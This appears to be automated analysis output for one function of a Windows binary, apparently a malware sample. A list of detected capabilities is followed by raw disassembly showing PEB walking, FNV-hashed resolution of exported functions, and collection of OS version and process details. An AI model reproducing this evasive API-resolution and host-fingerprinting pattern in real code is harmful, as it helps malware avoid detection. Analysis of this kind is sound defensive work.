Function at 0x14000bc7c
Capabilities:
Access peb ldr_data
Encode data using xor
Get ntdll base address
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x248]
sub rsp, 0x320
mov rax, qword [0x14006e030]
xor rax, rsp
mov qword [rbp + 0x210], rax
mov rdi, rcx
mov qword [rsp + 0x40], rcx
mov rax, qword [0x14006f9f0]
mov dl, byte [rax + 4]
mov byte [rcx + 8], dl
mov rax, qword [0x14006f9f0]
mov dl, byte [rax + 5]
mov byte [rcx + 9], dl
mov dword [rcx], 1
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
mov r12d, 8
mov rbx, qword [0x14006f698]
xor r15d, r15d
test rbx, rbx
jne 0x14000bf4e
mov r13d, r15d
mov r14d, r15d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov edi, 0xca959d6b
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rsp + 0x20], xmm0
movd ecx, xmm0
sub cx, r12w
test r14d, r14d
je 0x14000bd85
cmp r13, qword [rax + 0x30]
je 0x14000bd85
mov r9, qword [rsp + 0x28]
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0x73723a9f
jmp 0x14000bd77
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov r8d, edx
or r8d, 0x20
cmp cl, 0x19
cmova r8d, edx
xor r8d, r10d
imul r10d, r8d, 0x1000193
add r9, 2
cmp r9, r11
jne 0x14000bd52
cmp r10d, r14d
jne 0x14000bf33
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov rcx, qword [rcx + r10 + 0x88]
mov r9d, ecx
add r9, r10
shr rcx, 0x20
cmp r9, r10
je 0x14000bf33
mov ebx, dword [r9 + 0x18]
test ebx, ebx
je 0x14000bf33
mov r8d, dword [r9 + 0x20]
dec ebx
lea rdx, [r10 + rbx*4]
mov r11d, dword [rdx + r8]
add r11, r10
mov r15d, 0x73723a9f
mov sil, byte [r11]
inc r11
test sil, sil
je 0x14000be06
movsx edx, sil
sub sil, 0x41
mov r8d, edx
or r8d, 0x20
cmp sil, 0x19
cmova r8d, edx
xor r8d, r15d
imul r15d, r8d, 0x1000193
mov sil, byte [r11]
inc r11
test sil, sil
jne 0x14000bdd6
mov r8d, dword [r9 + 0x20]
cmp r15d, edi
je 0x14000be17
xor r15d, r15d
test ebx, ebx
jne 0x14000bdb8
jmp 0x14000bf2d
mov edx, dword [r9 + 0x1c]
add rdx, r10
mov eax, dword [r9 + 0x24]
add rax, r10
movzx eax, word [rax + rbx*2]
mov ebx, dword [rdx + rax*4]
add rbx, r10
cmp rbx, r9
jbe 0x14000bf3b
lea rax, [rcx + r9]
cmp rbx, rax
jae 0x14000bf3b
xor r15d, r15d
mov qword [rsp + 0x30], r15
mov r14d, 0x73723a9f
mov esi, r14d
mov dword [rsp + 0x38], r14d
mov dword [rsp + 0x3c], r14d
xor edx, edx
lea r8d, [r15 + 0x40]
lea rcx, [rbp + 0x1d0]
call sub.msvcrt.dll_memset
mov al, byte [rbx]
cmp al, 0x2e
je 0x14000be9d
lea rcx, [rbp + 0x1d0]
sub rcx, rbx
mov byte [rcx + rbx], al
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rbx
mov al, byte [rbx]
cmp al, 0x2e
jne 0x14000be82
mov dword [rsp + 0x38], esi
mov eax, dword [rbp + 0x1d0]
cmp eax, 0x2d697061
je 0x14000bebf
cmp eax, 0x2d495041
je 0x14000bebf
cmp eax, 0x2d747865
je 0x14000bebf
cmp eax, 0x2d545845
jne 0x14000bed1
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x30], rax
inc rbx
mov dl, byte [rbx]
test dl, dl
je 0x14000bf03
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r14d
imul r14d, ecx, 0x1000193
inc rbx
mov dl, byte [rbx]
test dl, dl
jne 0x14000beda
mov dword [rsp + 0x3c], r14d
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x20], xmm0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov edi, dword [rsp + 0x2c]
mov r14d, dword [rsp + 0x28]
mov r13, qword [rsp + 0x20]
mov r12d, 8
mov rax, qword [rax]
jmp 0x14000bd1f
mov qword [0x14006f698], rbx
mov rdi, qword [rsp + 0x40]
xor r15d, r15d
lea r12d, [r15 + 8]
lea rcx, [rbp - 0x80]
call rbx
movzx eax, word [rbp - 0x80]
test eax, eax
je 0x14000bf86
cmp eax, 5
je 0x14000bf7d
cmp eax, 9
je 0x14000bf74
cmp eax, 0xc
jne 0x14000bf8d
mov dword [rdi + 4], 4
jmp 0x14000bf8d
mov dword [rdi + 4], 2
jmp 0x14000bf8d
mov dword [rdi + 4], 3
jmp 0x14000bf8d
mov dword [rdi + 4], 1
xor edx, edx
mov r8d, 0x114
lea rcx, [rbp + 0xb0]
call sub.msvcrt.dll_memset
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.RtlGetVersion
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000bfed
lea rcx, [rbp + 0xb0]
call rax
test eax, eax
js 0x14000bfed
mov al, byte [rbp + 0xb4]
mov byte [rdi + 0xa], al
mov al, byte [rbp + 0xb8]
mov byte [rdi + 0xb], al
movzx eax, word [rbp + 0xbc]
mov word [rdi + 0xc], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rdi + 0x10], eax
lea rcx, [rbp + 0x30]
call fcn.14000b468
nop
mov rcx, qword [rax + 0x10]
cmp qword [rax + 0x18], r12
jb 0x14000c00d
mov rax, qword [rax]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rcx
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rsp + 0x20]
lea rcx, [rbp - 0x50]
call fcn.14002736c
lea rcx, [rdi + 0x18]
mov rdx, rax
call fcn.140005e88
mov esi, 0x1000
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x14000c078
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, rsi
jb 0x14000c073
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c282
call fcn.14005209c
mov qword [rbp - 0x40], r15
mov ebx, 0xf
mov qword [rbp - 0x38], rbx
mov byte [rbp - 0x50], r15b
lea rcx, [rbp + 0x30]
call fcn.14000f60c
lea rcx, [rbp + 0x50]
call fcn.14000bbac
nop
mov rcx, qword [rax + 0x10]
cmp qword [rax + 0x18], r12
jb 0x14000c0a9
mov rax, qword [rax]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rcx
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x30]
call fcn.14002736c
lea rcx, [rdi + 0x38]
mov rdx, rax
call fcn.140005e88
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x14000c10f
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, rsi
jb 0x14000c10a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c288
call fcn.14005209c
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x18], rbx
mov byte [rbp - 0x30], r15b
lea rcx, [rbp + 0x50]
call fcn.14000f60c
lea rcx, [rbp + 0x70]
call fcn.14000b874
nop
mov rcx, qword [rax + 0x10]
cmp qword [rax + 0x18], r12
jb 0x14000c13b
mov rax, qword [rax]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rcx
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x10]
call fcn.14002736c
lea rcx, [rdi + 0x78]
mov rdx, rax
call fcn.140005e88
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x14000c1a1
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, rsi
jb 0x14000c19c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c28e
call fcn.14005209c
mov qword [rbp], r15
mov qword [rbp + 8], rbx
mov byte [rbp - 0x10], r15b
lea rcx, [rbp + 0x70]
call fcn.14000f60c
lea rcx, [rbp + 0x90]
call fcn.14000b53c
nop
mov rcx, qword [rax + 0x10]
cmp qword [rax + 0x18], r12
jb 0x14000c1d0
mov rax, qword [rax]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rcx
movaps xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x70], xmm0
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x10]
call fcn.14002736c
lea rcx, [rdi + 0x58]
mov rdx, rax
call fcn.140005e88
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x14000c232
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, rsi
jb 0x14000c22d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c27c
call fcn.14005209c
mov qword [rbp + 0x20], r15
mov qword [rbp + 0x28], rbx
mov byte [rbp + 0x10], r15b
lea rcx, [rbp + 0x90]
call fcn.14000f60c
mov al, 1
mov rcx, qword [rbp + 0x210]
xor rcx, rsp
call fcn.140051b80
lea r11, [rsp + 0x320]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140055e50
nop
call fcn.140055e50
nop
call fcn.140055e50
nop
call fcn.140055e50
int3